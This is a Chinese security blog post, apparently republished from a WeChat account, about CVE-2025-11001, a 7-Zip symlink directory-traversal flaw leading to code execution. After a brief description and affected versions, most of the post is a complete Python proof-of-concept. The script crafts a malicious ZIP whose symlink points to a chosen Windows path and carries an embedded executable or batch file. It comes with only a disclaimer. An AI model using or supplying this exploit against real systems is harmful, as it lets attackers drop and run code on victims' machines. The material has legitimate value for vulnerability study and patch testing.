首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >CVE-2025-11001|7-Zip远程代码执行漏洞(POC)

CVE-2025-11001|7-Zip远程代码执行漏洞(POC)

作者头像
信安百科
发布2025-11-24 13:58:38
发布2025-11-24 13:58:38
20
举报
文章被收录于专栏:信安百科信安百科

0x00 前言

7-Zip(7z解压软件)是一款完全免费的压缩解压缩软件,同其他压缩软件相比它的压缩速度更快压缩率更好,不仅支持众多主流格式、支持超线程,而且还有强大的AES-256加密算法可以为文件进行加密,增强文件的安全性。

它支持多种压缩格式,包括但不限于 7z、ZIP、GZIP、BZip2 和 TAR,此外,7-Zip 还能处理其他常见格式如 RAR、ISO、CAB 等。

0x01 漏洞描述

漏洞源于ZIP文件中符号链接(symlink)的处理方式。攻击者可通过构造恶意ZIP文件,利用该目录遍历漏洞,导致程序访问未经授权的目录并执行恶意代码。 同时,7-Zip压缩工具还存在另一个类似漏洞(CVE-2025-11002),两个漏洞均允许远程攻击者在受影响的系统上执行任意代码。 通过特制的ZIP文件,攻击者能够利用符号链接处理缺陷,促使程序访问本不应访问的目录,进而执行恶意代码。 来源于网络

0x02 CVE编号

CVE-2025-11001

0x03 影响版本

7-Zip < 25.00

0x04 漏洞详情

POC:

https://github.com/pacbypass/CVE-2025-11001

代码语言:javascript
复制
import argparse
import os
import time
import zipfile

def add_dir(z, arcname):
    if not arcname.endswith('/'):
        arcname += '/'
    zi = zipfile.ZipInfo(arcname)
    zi.date_time = time.localtime(time.time())[:6]
    zi.create_system = 3
    zi.external_attr = (0o040755 << 16) | 0x10
    zi.compress_type = zipfile.ZIP_STORED
    z.writestr(zi, b'')

def add_symlink(z, arcname, target):
    zi = zipfile.ZipInfo(arcname)
    zi.date_time = time.localtime(time.time())[:6]
    zi.create_system = 3
    zi.external_attr = (0o120777 << 16)
    zi.compress_type = zipfile.ZIP_STORED
    z.writestr(zi, target.encode('utf-8'))

def add_file_from_disk(z, arcname, src_path):
    with open(src_path, 'rb') as f:
        payload = f.read()
    zi = zipfile.ZipInfo(arcname)
    zi.date_time = time.localtime(time.time())[:6]
    zi.create_system = 3
    zi.external_attr = (0o100644 << 16)
    zi.compress_type = zipfile.ZIP_STORED
    z.writestr(zi, payload)

def main():
    parser = argparse.ArgumentParser(
        description="Crafts a zip that exploits CVE-2025-11001."
    )
    parser.add_argument(
        "--zip-out", "-o",
        required=True,
        help="Path to the output ZIP file."
    )
    parser.add_argument(
        "--symlink-target", "-t",
        required=True,
        help="Destination path the symlink points to - specify a \"C:\" path"
    )
    parser.add_argument(
        "--data-file", "-f",
        required=True,
        help="Path to the local file to embed e.g an executable or bat script."
    )
    parser.add_argument(
        "--dir-name",
        default="data",
        help="Top-level directory name inside the ZIP (default: data)."
    )
    parser.add_argument(
        "--link-name",
        default="link_in",
        help="Symlink entry name under the top directory (default: link_in)."
    )
    args = parser.parse_args()

    top_dir = args.dir_name.rstrip("/")
    link_entry = f"{top_dir}/{args.link_name}"
    embedded_name = os.path.basename(args.data_file)
    file_entry = f"{link_entry}/{embedded_name}"

    with zipfile.ZipFile(args.zip_out, "w") as z:
        add_dir(z, top_dir)
        add_symlink(z, link_entry, args.symlink_target)
        add_file_from_disk(z, file_entry, args.data_file)

    print(f"Wrote {args.zip_out}")

if __name__ == "__main__":
    main()

(来源于网络)

0x05 参考链接

https://www.zerodayinitiative.com/advisories/ZDI-25-949/

推荐阅读:

CVE-2025-57833|Django SQL 注入漏洞(POC)

CVE-2023-24205|Clash for Windows远程代码执行漏洞(POC)

CVE-2025-53772|Web 部署远程代码执行漏洞

Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持

!!!

本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2025-11-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安百科 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档